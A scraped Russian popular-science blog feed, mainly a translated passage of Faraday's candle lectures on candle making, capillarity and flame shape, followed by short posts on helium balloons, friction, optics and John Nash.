Вот другой пример того же явления. Чтобы вы воочию убедились в том, как воздействуют тела друг на друга, я сейчас покажу вам наполненный водой сосуд, сделанный из тончайшей проволочной сетки. Его можно сравнить в одном отношении с фитилем, скрученным из хлопка, а в другом — с куском коленкора. Вы ясно видите, что этот сосуд — пористый: вот я наливаю сверху немножко воды, и она вытекает внизу. Вы бы вряд ли могли мне ответить, в каком состоянии находится этот сосуд, что в нем содержится и для чего он устроен. Сосуд полон воды, а между тем вы видите, что вода в него вливается и выливается, как если бы он был пустой. Чтобы доказать вам это, мне достаточно его опорожнить. Причина вот в чем: проволочная сетка, будучи раз смочена, остается мокрой, а ячейки ее до того мелкие, что жидкость испытывает такое притяжение от одной нити к другой, что она не вытекает из сосуда, хотя он и пористый. Подобным же образом частицы растопленного сала или воска поднимаются вверх по хлопковому фитилю и добираются до верха; за ними следуют, по взаимному притяжению, новые частицы горючего; по мере того как они достигают пламени, они постепенно сгорают.

Вот и еще пример того же явления капиллярности. Взгляните на этот кусочек тростника. Мне случалось на улице видеть мальчиков, которые, подражая взрослым, делают вид, что курят сигары, — на самом деле это не сигара, а кусочек тростника. Внутри тростника очень много тончайших продольных канальцев. Вот я ставлю этот кусочек тростника на тарелку, содержащую немного камфары (которая во многом сходна с парафином); эта жидкость будет подниматься сквозь тростник до самого верха, как та синяя жидкость, которая поднималась у нас по столбику соли. Стенки тростника покрыты потной, непроницаемой оболочкой, поэтому жидкость не может вытечь наружу и должна проходить только вдоль тростника. Вот жидкость уже достигла верхушки нашей тростинки; теперь я могу ее зажечь, и у нас получится своего рода свечка. Жидкость поднялась вследствие капиллярности; точно так же поднимается по фитилю расплавленное вещество свечки и сгорает в пламени.

У нас остается неразрешенным второй, очень важный вопрос, а именно: почему пламя не сбегает вниз вдоль всего фитиля? Оказывается, что, когда пламя касается растопленного жидкого вещества, оно гаснет. В этом очень просто убедиться. Стоит только перевернуть свечу так, чтобы горючее вещество стекло по фитилю, — тогда пламя гаснет, не успевая достаточно сильно нагреть растопленное вещество, как бывает в том случае, когда оно поднимается к пламени постепенно, небольшими частицами, уже достаточно нагретым.

Пламя горящей спички по струе пара передается фитилю.

Почему же жидкое горючее вещество не гасит пламеня нормально горящей свечи? Чтобы понять это, нам придется обратить внимание на другое очень интересное явление – на газообразное состояние горючего вещества. Чтобы объяснить вам это, я сделаю очень простой опыт. Вам, конечно, знаком запах, распространяемый потушенной свечой, и вы знаете, что он очень неприятен. Когда вы тушите свечу, вы замечаете, что от нее поднимается маленькое облачко дыма, но это не дым, а пар, и этот пар – не что иное, как видоизменившееся твердое вещество свечи. Я осторожно потушу свечу. Для этого стоит только некоторое время подышать на нее; от фитиля пойдет пар. Если я при этом поднесу к фитилю зажженную спичку, вы увидите, как пламя горящей спички по струе пара передастся фитилю. Но это надо проделать быстро, чтобы струя пара не успела остыть, иначе пар снова быстро превратиться или в жидкость, или в твердое тело, или же совершенно улетучиться.

Теперь перейдем к вопросу о форме пламени. Нам очень важно получить понятие о превращении, какому подвергается вещество свечи в той части пламени, где оно сияет особенно ярко. Мы знаем, как блестят золото и серебро, как сверкают рубины и алмазы; но, ни то, ни другое не сравнится с сиянием и красотой пламени. Какой бриллиант может сравниться с блеском пламени? Ведь бриллиант сверкает только отраженным светом, а пламя сияет в темноте. Блеск алмаза гаснет, если его не освещает луч света. А свеча светит сама по себе для тех, кто собрал воедино ее составные части. Рассмотрим строение пламени в том виде, в каком оно представляется нам за стеклом, предохраняющим пламя от движения воздуха. Оно горит ровно и имеет, в общем, форму, изображенную на нашем рисунке; но обыкновенное вид пламени меняется вследствие движения воздуха и в зависимости от величины свечи. У нас оно имеет вид блестящего продолговатого конуса, который вверху ярче, чем внизу; в середине, ближе к фитилю, можно заметить более темную часть пламени. Происходит это оттого, что здесь сгорание вещества свечи не такое полное, как в верхней части. У меня имеется рисунок, сделанный несколько лет назад ученым Гукером.

Рисунок Гукера

На рисунке над фитилем поднимается пламя; его окружает слой вещества, не видимого в обычных условиях. Ученый изобразил здесь слой окружающего воздуха, необходимого для образования пламени и всегда находящегося вблизи него. Тут же он изобразил поток воздуха, поднимающего пламя кверху; пламя, которое вы видите, поднято этим течением воздуха на значительную высоту. В этом можно убедиться, поставив горящую свечу между солнцем и листом бумаги так, чтобы на бумаге получилась тень от пламени свечи. Не странно ли, что пламя, обладающее достаточной силой света, чтобы образовать тень от всяких других предметов, само тоже дает тень? При этом ясно видно, что вокруг тени пламени свечи есть нечто, не входящее в его состав, но поднимающееся рядом с ним и заставляющее и его подниматься вверх.

Так как у нас теперь солнца нет, то я постараюсь заменить его другим источником света. Возьмем большую лампу и получим сильный свет, который заменит для нашей цели свет солнца. Поставив свечку между лампой и экраном, получим, таким образом, тень от пламени свечи. На рисунке вы видите тень и от свечки, и от пламени; тут вы видите темную часть пламени, как она изображена на рисунке Гукера, и часть более светлую.

Обратите внимание, что та часть, которая на тени кажется самой темной, в действительности самая светлая, и наоборот. Вы видите на экране и тень потока, нагретого воздуха, который приподнимает пламя кверху, питает его и вместе с тем охлаждает края чашки.

Другой опыт покажет вам, как пламя в зависимости от движения воздуха поднимается или опускается. Этот опыт я вам покажу не на пламени свечи, а на другом пламени. При этом я хочу вам показать действие на пламя не восходящего тока воздуха, а нисходящего, то есть такого, который опускал бы, а не поднимал пламя. Это легко сделать при помощи вот этого маленького прибора.

Пламя в данном случае, как я уже сказал вам, получается не от свечи, а от горения спирта, который не дает дыма. Это пламя светит слабым светом, и, чтобы легче было следить за ним, я его окрашу каким-нибудь веществом, иначе оно было бы едва заметно. Я зажигаю спирт, и мы получаем пламя, которое, находясь в обыкновенных условиях, поднимается кверху вследствие восходящего тока воздуха, поддерживающего горение; но вот я дую сверху на пламя, изменяю направление тока воздуха и заставляю его опускаться в эту маленькую трубку.

Перед окончанием нашей беседы я покажу вам лампочку, где пламя будет подниматься вверх, а дым опускаться, или, наоборот, пламя будет опускаться, а дым подниматься. Вы видите, что, изменяя направление тока воздуха, мы можем менять форму и направление пламени.

Мы видели разные виды пламени, которые отличаются друг от друга по форме. Но если мы пожелаем основательнее изучить строение пламени, то должны будем сделать пламя до некоторой степени неподвижным.

Изучая достаточно длинное пламя, мы заметим, что оно не может сохранять постоянную, правильную форму и будет сильно ветвиться. Чтобы наглядно показать это явление, я возьму вместо свечи новое горючее вещество. Вот у меня здесь большой ком ваты; намочим его спиртом, зажжем и посмотрим, чем его пламя будет отличаться от пламени свечи. Разница в самом деле получается очень большая: полученное пламя гораздо сильнее, красивее и ярче пламени свечи. Видите, красивые огненные языки пламени поднимаются кверху. Общее направление пламени то же, но здесь выделяются еще эти языки, которых нет в пламени свечи. Откуда же они берутся? Я объясню вам это, и если вы хорошенько разберетесь в этом явлении, то вам будет легко следить за моим дальнейшим изложением. Многие из вас, вероятно, знакомы с одной известной английской игрой; эта игра состоит в том, что зажигают в темной комнате чашку со спиртом и изюмом и наблюдают, что при этом происходит. Пусть эта игра поможет нам уяснить строение пламени.

Чашка с изюмом.

Вот у меня здесь чашка; чтобы опыт хорошо удался, следует нагреть предварительно чашку, изюм, а также и бренди (которого, впрочем, у меня здесь нет). Наливая спирт на блюдо, вы получаете чашечку и горючее — те необходимые условия, о которых у нас шла речь, — а разве изюминки не играют роль фитилей? Вот я бросаю изюм на блюдо, зажигаю спирт, и вы видите прекрасные язычки пламени, о которых я говорил. Эти язычки образуются вследствие того, что воздух струится, как бы вползает в блюдо через его края. Почему же так получается? Потому, что сила тяги и неравномерность действия пламени не дают воздуху течь вверх равномерным потоком. Он вторгается в блюдо так неравномерно, что пламя, которое при других условиях имело бы единообразную форму, оказывается разбитым на многочисленные отдельные язычки, каждый из которых существует независимо от других.

Право, можно сказать, что здесь перед вами множество независимых свечек. Но, видя одновременно все эти язычки, не думайте, будто пламени свойственна именно эта форма. В действительности в каждый данный момент это пламя не имеет такой формы. Сильное пламя, какое вы только что видели на комке ваты, смоченной спиртом, никогда не имеет той формы, в которой вы его воспринимаете. Дело в том, что оно состоит из множества различных форм, сменяющих друг друга с такой быстротой, что глаз способен воспринять их только слитно.

Некоторое время назад я задался целью разобраться в строении такого пламени — и вот вам схема, показывающая его составные части. Они существуют не одновременно, но кажутся нам одновременными потому, что мы видим весьма быструю смену этих форм.

Пора кончать лекцию. Как жаль, что приходится оборвать ее на игре в изюм, но задерживать вас я ни в коем случае не могу. Это мне будет уроком — строже придерживаться теоретической стороны дела и не тратить так много вашего времени на показ опытов.

Майкл Фарадей — король физиков, властитель молний, искатель невидимых превращений и скромный человек, читавший лекции для детей.

]]> Майкл Фарадей. Лекция I. Свеча и ее приготовление, пламя свечи и его происхождение, форма, блеск и подвижность. Часть 1. https://www.vladimirkoskov.ru/?p=4404 Tue, 25 Oct 2022 21:32:04 +0000 https://www.vladimirkoskov.ru/?p=4404 История обыкновенной свечи дает богатый материал для изучения природы. В этой истории проявляются все законы природы, управляющие нашим миром, и можно смело сказать, что нет такого химического явления, которого нельзя было бы обнаружить или коснуться при изучении горения свечи.

На первый взгляд горение свечи кажется нам простым явлением. Однако, если внимательно и систематически его изучать, оказывается, что это весьма сложный процесс и что вещество свечи при горении подвергается действию многих физических законов и последовательных химических превращений. Рассматривая эти превращения, мы попутно познакомимся со всеми основными химическими законами.

Прежде чем я приступлю к изложению, разрешите мне предупредить вас: несмотря на глубину избранного нами предмета и несмотря на наше честное намерение разобраться в нем серьезно и на подлинно научном уровне, я хочу подчеркнуть, что не собираюсь адресоваться к старшим из числа здесь присутствующих. Я беру на себя смелость говорить с молодежью так, как если бы я сам был юношей. Так я поступал и раньше, так, с вашего разрешения, буду поступать и теперь. И хотя я с полной ответственностью сознаю, что каждое произносимое мною слово адресуется в конечном счете всему миру, такая ответственность не отпугнет меня от того, чтобы и на этот раз говорить так же просто и доступно с теми, кого я считаю всего ближе к себе.

А теперь, мои молодые друзья, я прежде всего хочу рассказать вам о том, из чего делаются свечи. Некоторые из них представляют незаурядный интерес. Смотрите, вот кусочки древесины и ветки деревьев, славящихся своей способностью ярко гореть. А вот это — кусочек особого замечательного вещества, находимого в некоторых болотах Ирландии и образно называемого свечным деревом. Это дерево настолько твердое и прочное, что не всякий может его разломать, но вместе с тем оно так хорошо воспламеняется, что из него делают факелы и лучины. Оно горит как свеча, и дает превосходный свет. Это дерево очень наглядно показывает нам, в чем заключается природа свечи. Тут и горючее как таковое и перенос этого горючего к месту, где происходит химическая реакция, тут и равномерное, постепенное ее снабжение воздухом, тут и тепло и свет — все это создается кусочком дерева, которое, по существу говоря, представляет собой естественную свечу.

Но давайте будем говорить о настоящих свечах, употребляющихся в быту. Вот сальные свечки, называемые «макаными» свечами. Производятся они следующим образом. Хлопчатобумажные фитили, нарезанные одинаковыми кусками, подвешиваются на петельках и разом обмакиваются в растопленное сало (говяжье или баранье).

Изготовление маканых свечей.

Потом они вынимаются, охлаждаются и снова окунаются, пока вокруг фитиля не нарастает достаточно толстый слой сала. Чтобы вы могли получить представление о том, как разнообразны бывают свечи, посмотрите вот на эти — очень маленькие и преинтересные. Именно такими свечками пользовались горняки в каменноугольных шахтах. В прежние времена каждый горняк, спускаясь в шахту, должен был приносить с собой свечи, купленные за собственный счет. К тому же считалось, что с маленькой свечкой меньше, чем с большой, рискуешь вызвать взрыв рудничного газа в угольных копях. Как по этой причине, так и ради экономии горняки предпочитали пользоваться такими малюсенькими свечками, что на фунт их шло двадцать, тридцать, сорок или даже шестьдесят штук. Свечи в шахтах были заменены сначала искровым освещением, а затем лампой Дэви и другими типами безопасных ламп.

Лампа Дэви.

А вот свеча, которую, говорят, полковник Пэслей поднял с «Ройал Джорджа». Она пролежала в море много лет, подвергаясь действию соленой воды. Вы видите, как хорошо могут сохраняться свечи: правда, она изрядно растрескалась и поломалась, но вот я ее зажег, и она равномерно горит, а сало, расплавляясь, возвращается к своему обычному состоянию. («Ройал Джордж» — английский военный корабль, который затонул в 1782 году. В 1839 году начались работы по подъему этого корабля. Значит, свеча, о которой идет речь, 57 лет пролежала под водой).

Мистер Филд из Ламбета снабдил меня прекрасной коллекцией свечей и материалов, из которых они изготовляются. Вот, прежде всего, бычий жир, называемый, насколько я понимаю, русским салом, из которого изготовляются маканые свечи. Сало это по способу, изобретенному Гей-Люссаком (или кем-то другим, кто передал ему этот производственный секрет), можно превратить в то прекрасное вещество, которое лежит рядом с ним — стеарин. Благодаря изобретению стеарина нынешняя свеча — это уже больше не жирный, противный предмет, каким была прежняя сальная свеча, — нет, это предмет до того чистый, что стекающие с него капли не пачкают вещей и их можно соскрести в виде порошка. (Луи-Жозеф Гей-Люссак – знаменитый французский химик, профессор в Париже, сделавший много научных открытий в области химии и целый ряд изобретений и усовершенствований в химическом производстве).

Способ, который применил Гей-Люссак, состоит в следующем. Сначала сало кипятят с негашеной известью, причем получается нечто вроде мыла. Затем в него добавляют серную кислоту, которая связывает известь; остальная масса представляет собой стеарин, смешанный с некоторым количеством глицерина. Глицерин, выделяющийся при этом процессе, очень похож по своему составу на сахар. Эта смесь прессуется, — здесь вы видите несколько более или менее отжатых брусков, по которым можно судить, как по мере увеличения давления удается удалить все большее количество примесей. Совершенно отжатую массу расплавляют, и из нее отливаются те свечи, которые я вам показываю. Вот эта свеча стеариновая; она приготовлена описанным способом. А вот свеча спермацетовая, приготовленная из определенного сорта китового жира. Вот пчелиный воск, желтый и очищенный, также идущий на изготовление свечей.

Вот еще интересное вещество — парафин. А вот парафиновые свечи, сделанные из добытого в ирландских болотах парафина. Есть у меня и еще некое вещество вроде воска, любезно присланное мне одним моим другом; оно привезено из Японии. Это тоже материал для изготовления свечей.

А как же делаются такие свечи? Я уже рассказал вам о свечах маканых, а теперь расскажу и о формованных. Представим себе, что какой-нибудь из этих сортов свечей делается из такого материала, который можно отливать в форму. «Отливать?» — скажете вы. «Ну, конечно, — ведь свечи растапливаются, а если их можно растопить, то их, наверно, можно отливать и в формы». Оказывается, нельзя.

Удивительное дело: то здесь, то там, как при усовершенствовании производства, так и при разработке наилучших средств для достижения той или иной цели, приходится сталкиваться с такими фактами, которые, пожалуй, нельзя предугадать заранее. Так вот, свечи не всегда можно отливать в формы; восковые свечи, в частности, вовсе нельзя отливать: их делают особым способом, о котором я вам вкратце расскажу через пару минут. Воск — вещество, не поддающееся отливке, хотя оно прекрасно горит и легко плавится в свече.

Однако возьмем сначала материал, пригодный для отливки свечей. Возьмем стеарин – вещество, более пригодное для этой цели. Взгляните на эту раму с отверстиями, в которую помещено несколько форм.

Рама для изготовления стеариновых свечей.

Прежде всего вставим в каждую форму фитиль. Возьмем плетеный фитиль, не дающий нагара; на всем своем протяжении фитиль натянут, так как наверху он держится на проволочной перекладине, а внизу прикреплен к затычке, которая при заполнении формы не дает вытекать растопленному стеарину.

Форма и внутренне устройство формы для выливания стеариновых свечей.

После того как стеарин остынет, его излишек снимают, отрезают концы фитилей, и в формах остаются готовые свечи. Их опрокидывают и без труда вытряхивают: ведь, во-первых, у них форма слегка конусообразная, т. е. внизу они толще, чем наверху, и, во-вторых, при остывании объем их уменьшается. Так делают свечи стеариновые и парафиновые.

Восковые свечи делаются совершенно иначе. Вот смотрите.

Конструкция для производства восковых свечей.

На раму навешиваются фитили с металлическими наконечниками, чтобы воск не целиком покрывал фитиль. Рама подвешивается так, чтобы она могла вращаться над котлом с растопленным воском. Рабочий зачерпывает ложкой воск из котла и, поворачивая раму, поливает фитили, один за другим; за это время воск на них успевает застыть, и рабочий их поливает вторично, и так далее, до требуемой толщины. Тогда их снимают.

Благодаря любезности мистера Филда у меня есть несколько образчиков восковых свечей на разных стадиях изготовления, в том числе одна еще только половинной толщины. Сняв свечи с рамы, их катают по гладкой каменной плите, верхушке придают надлежащую коническую форму, а нижний конец аккуратно обрезают. Делается все это столь тщательно, что таким образом можно изготовлять свечи четвериковые, шестериковые и т. д., т. е. такие, которых на фунт идет ровно по 4, по 6 или сколько потребуется. Эти свечи называются обливными свечами.

Однако не будем больше тратить времени на технологию производства свечей, а перейдем к подробному изучению свечи как таковой. Предварительно я вам скажу несколько слов о роскошно оформленных свечах — ведь оказывается, и свеча может быть превращена в роскошную безделушку. Посмотрите, в какие чудесные цвета они окрашены. Как видите, и для свечей используются недавно введенные в употребление химические краски — вот здесь ярко-розовая свеча, вот розовато-лиловая и т. д. Кроме того, для украшения свечам придают и различные формы: вот подобие прекрасной витой колонны, а вот и свечи с узорами.

Если горит, скажем, эта свеча, то наверху получается, как бы сияние Солнца, а внизу — букет цветов. Однако не все изящное и нарядное полезно. Если разобраться по существу, то эти витые свечи, при всей своей красоте, никуда не годятся как свечи: их портит как раз внешняя форма. Эти образчики, присланные мне добрыми друзьями из самых разных мест, я вам показываю для того, чтобы вы знали, что уже сделано и что еще дóлжно сделать в том или ином направлении развития производства, причем иногда (как я уже вам сказал) жертвуют пользой.

Приступим, однако, к самому главному – к изучению пламени свечи. Зажжем одну-две свечи и заставим их, таким образом, выполнить свое назначение. Вы знаете, какая разница между масляной лампой и свечой? В лампе вы наполняете резервуар жидким маслом, опускаете в него фитиль из мха или из обработанного хлопка, а затем зажигаете верхушку фитиля. Пламя спускается вниз по фитилю, встречает масло и притухает, продолжая гореть только в верхней части. Вы, несомненно, спросите — каким образом масло, которое само по себе не горит, добирается до верха фитиля, где оно может гореть? Мы сейчас рассмотрим это явление, но прежде я спрошу вас: не кажется ли вам еще более удивительным горение свечи? Ведь перед вами твердое вещество, настолько твердое, что для него не нужна посуда. А как же получается, что это твердое вещество может подняться до того места, где находится пламя? Как попадает туда это твердое вещество, не будучи жидкостью? А с другой стороны, как же оно не растекается, когда превращается в жидкость, ведь у нее нет никакого резервуара? Удивительная вещь эта свеча!

В нашей комнате чувствуется довольно сильное движение воздуха (сквозняк); при некоторых опытах он нам будет помогать, а при других — мешать. Поэтому сейчас, для большей равномерности и для упрощения дела, я устрою так, чтобы пламя было спокойным. Ведь как можно что-нибудь изучать, когда мешают трудности, не относящиеся к делу? Мы воспользуемся одним хитроумным приспособлением, которым я часто любовался на тележках рыночных и уличных торговцев овощами или рыбой, когда по субботам торговля затягивается затемно. Вот оно — на свечку надето нечто вроде кольца, поддерживающего ламповое стекло, под него проходит воздух; по мере сгорания свечи все это устройство можно передвигать. Таким образом, благодаря ламповому стеклу получается спокойное, устойчивое пламя, которое можно внимательно разглядывать, что, я надеюсь, вы сделаете у себя дома. Итак, приступим к изучению пламени.

Чашка свечи.

Прежде всего обратим внимание на то, что верхний конец свечи, непосредственно касающийся пламени, имеет форму красивой выемки, вроде чашки.

Воздух, притекающий к свечке, нагревается от теплоты пламени и стремиться вверх. Получается постоянный поток воздуха вдоль свечи. Поэтому ее внешний слой сильно охлаждается, а середина чашки тает быстрее, чем ее края. Середина плавится от пламени, доходящего по фитилю до того места, ниже которого оно гаснет в расплавленном воске; наружная же часть не плавится. Это происходит еще и потому, что на середину чашки сильнее действует теплота пламени, стремящегося по фитилю опуститься вниз.

Пока воздух равномерно подтекает к свече со всех сторон, до тех пор края чаши остаются совершенно ровными и расплавленная масса, находящаяся в ней, имеет горизонтальную поверхность. Но, если я устрою над пламенем ветерок слева и ли справа, в чашке сразу же образуется пролом, и растаявшая масса свечи потечет вниз, как по желобу. Итак, мы видим, что правильная форма чаши сохраняется потому, что воздух равномерно охлаждает ее внешние края. Горючее вещество, не обладающее свойством образовывать такие чашки, не годиться для выделки свечей. Исключение представляет дерево-свечка: оно похоже на губку, пропитанную собственным горючим материалом.

Витая свеча.

Теперь вы, очевидно, догадываетесь, почему так плохо горят красивые витые свечки: они не имеют формы правильного цилиндра, их поверхность покрыта желобками, а эти желобки нарушают правильный приток воздуха. Получается чашка с неровными краями, и свечи обтекают и горят неровным светом. При горении не получается того ровного края чашечки, благодаря которому свеча горит спокойным пламенем. Вы теперь, надеюсь, убедились, что в красоте любого процесса самое главное — его совершенство, иначе говоря, его целесообразность. Наиболее подходящий для нас предмет — это не тот, который лучше всех по виду, а который лучше всех на деле.

Давайте рассмотрим натек, образовавшийся на красивой, но неправильно горящей свече. По ее краям воск всегда будет оплывать из-за неравномерности тока воздуха и плохой формы чашечки, которая при этом образуется. Свеча продолжает гореть, а натек остается и образует столбик, параллельный фитилю. По мере того как свечка постепенно сгорает, это утолщение, оставаясь на месте, образует столбик, торчащий у края чашечки; постепенно этот столбик оказывается все выше над остальным воском. Так как он поднимается над краями чашечки, воздух лучше обдувает его, поэтому он сильнее охлаждается и меньше поддается действию тепла, распространяемого пламенем.

Натек на красивой свече.

Таким образом, ошибки, допускаемые при изготовлении свечей, как и в других отраслях человеческой деятельности, расширяют наши знания. Мы никогда не получили бы этих знаний, если бы не сделали ни одного промаха. Ошибки помогают нам изучать природу вещей. Вы пришли на эти лекции, чтобы научиться научному мышлению; и я надеюсь, что вы, встретив какое-нибудь непонятное с первого взгляда явление, спросите себя: «В чем причина этого явления? Отчего это так происходит?» И вы всегда найдете ответ, если настойчиво будете искать его.

Продолжение: Майкл Фарадей. Лекция I. Свеча и ее приготовление, пламя свечи и его происхождение, форма, блеск и подвижность. Часть 2.

Майкл Фарадей — король физиков, властитель молний, искатель невидимых превращений и скромный человек, читавший лекции для детей.

]]> Почему воздушные шарики не заполняют водородом, если его во вселенной больше всего? https://www.vladimirkoskov.ru/?p=3291 Thu, 20 Oct 2022 21:23:07 +0000 https://www.vladimirkoskov.ru/?p=3291 Газообразный водород легче воздуха и его можно поджечь.  Водород  настолько легко воспламеняющийся газ, что достаточно маленькой искрой, что приведет к впечатляющему взрыву. Не зная этого, до 1922 года шары наполняли водородом. А сейчас в целях безопасности используется гелий, а не водород для наполнения шаров, аэростатов.

Гелий не горит. Он относится к инертным газам. Его еще называют благородным газом, это потому, что он сильно сопротивляется реакции с чем-либо, каким-либо образом.  У него заряд атома +2. Простыми словами — вокруг атома есть место только для 2 электронов и оба электрона у него на месте.  Поэтому к атому гелия невозможно ни прицепить лишний электрон, ни оторвать один из имеющихся двух. Он не хочет этого делать, потому что и на то и на другое ему потребуется затратить слишком много сил (энергии), а полученный результат не будет этого стоить. Вот почему гелий не вступает в химическую реакцию с кислородом, не тлеет и не горит.

]]> Если бы не было силы трения https://www.vladimirkoskov.ru/?p=3288 Sat, 15 Oct 2022 21:11:49 +0000 https://www.vladimirkoskov.ru/?p=3288

Простая демонстрации законов физики, которую вы можете попробовать дома. Возьмите карандаш и поместите его на край стола так, чтобы примерно половина карандаша свешивалась с края, будто он вот-вот упадет, но держится. В этот момент карандаш в основном балансирует прямо на краю стола. Карандаш поддерживает только эта крошечная точка контакта. Даже сверхмалое усилие. Стоит едва подуть, или создать поток воздух с помощью движения пальцев, чтобы карандаш начал вращаться.

]]> Человечество запустило в космос станцию, которая движется к краю Солнечной системы на бешеной скорости https://www.vladimirkoskov.ru/?p=3173 Fri, 14 Oct 2022 22:40:22 +0000 https://www.vladimirkoskov.ru/?p=3173 Космос  огромен и уже наполнен нашими космическими модулями, которые выполняют различные миссии по сбору информации для нас. Когда мы наблюдаем за ними в телескоп, то нам кажется, они просто еле-еле ползут в космосе, как улитки. Но это совсем не так! На приведенном видео сравниваются скорости обычного пассажирского Боинга 747, истребителя Blackbird (Чёрный дрозд) и автоматической межпланетной станции New Horizons (Новые Горизонты).

 

]]> Как физика помогает африканкам переносить тяжести https://www.vladimirkoskov.ru/?p=2798 Sun, 09 Oct 2022 14:03:20 +0000 https://www.vladimirkoskov.ru/?p=2798

]]> Брoкенский пpизpaк https://www.vladimirkoskov.ru/?p=3221 Thu, 06 Oct 2022 05:37:45 +0000 https://www.vladimirkoskov.ru/?p=3221
Брoкенский пpизpaк — фенoмен, при кoтopoм гигaнтскaя тень челoвeкa проецируется нa oблaка на большом расстоянии от него самого.

]]> Может ли струя воды изогнуть луч лазера? https://www.vladimirkoskov.ru/?p=3170 Wed, 05 Oct 2022 14:41:25 +0000 https://www.vladimirkoskov.ru/?p=3170 Еще как может! В струе воды лазер полностью отражается от её внутренних границ. По тому же принципу пучок света движется внутри оптоволокна. В интернете можно найти как выглядит оптоволоконный светильник.

]]> Как наш организм использует законы физики, чтобы напиться https://www.vladimirkoskov.ru/?p=2795 Mon, 03 Oct 2022 13:57:00 +0000 https://www.vladimirkoskov.ru/?p=2795

]]> А ты знаешь кто это? https://www.vladimirkoskov.ru/?p=2505 Sun, 02 Oct 2022 08:14:52 +0000 https://www.vladimirkoskov.ru/?p=2505 Если тебе перевалило за 15 лет, даже ты не силен в физике или математики, но считаешь себя образованным и современным человеком, ну, и полагаешь, что твой уровень знаний не ниже среднего. то ты точно знаешь:

1. Кто эти два мужика?

2. В какой области наук каждый из них преуспел?

3. О чем говорит каждое из самых знаменитых уравнений, открытых ими?

4. Что в каждом из этих уравнений означает С2 ?

5. Если так получилось, что на столь очевидные вопросы тебе не удалось ответить, то твое самоуважение должно пострадать. Однако, про это пока никто не знает кроме тебя и в твоем распоряжении еще есть немного времени и интернет. Поторопись!

]]> Этот парень – гений! https://www.vladimirkoskov.ru/?p=2068 Mon, 19 Sep 2022 16:24:36 +0000 https://www.vladimirkoskov.ru/?p=2068 Великий математик Джон Нэш, история жизни которого рассказана в оскароносном фильме 2002 года «Игры разума», после окончания Принстонского университета получил, пожалуй, самое лаконичное рекомендательное письмо в истории. Преподаватель Нэша Ричард Даффин написал в нем лишь одну фразу: «Это парень – гений!»

Джон Форбс Нэш, 13 июня 1928 – 23 мая 2015, лауреат Нобелевской и Абелевской премий

Математический гений, сумевший после 30-летней борьбы с шизофренией вернуться к научной деятельности и получить Нобелевскую премию. Один из самых уважаемых и талантливых математиков — сильная личность с парадоксальным умом. Его научные изыскания в сфере дифференциальной геометрии и теории игр ценятся во всем мире. Он сумел извлечь уроки даже из своей загадочной болезни, заявив, что «связь между креативностью мышления и ненормальностью существует». И грустно подвел черту: «Здравый ум ограничивает представления ученого о его связи с космосом». Так же ему принадлежат следующие известные цитаты:

«Хорошие научные идеи не приходили бы мне в голову, если бы я думал как нормальные люди».

«Мне кажется, когда люди несчастливы, они становятся психически больными. Никто не сходит с ума, когда выигрывает в лотерею. Происходит это, когда вы не выигрываете ее».

«Что-то можно посчитать невероятным и несбыточным, но все возможно».

«Мое главное научное достижение в том, что я всю жизнь занимаюсь вещами, реально интересующими меня, и ни дня не потратил на занятие всякой чушью».

В 2015-м ученый стал первым в мире, в чьей копилке за вклад в науку оказались и Нобелевская, и Абелевская премии. Последнюю Нэшу вручили за развитие теории нелинейных дифференциальных уравнений.

]]>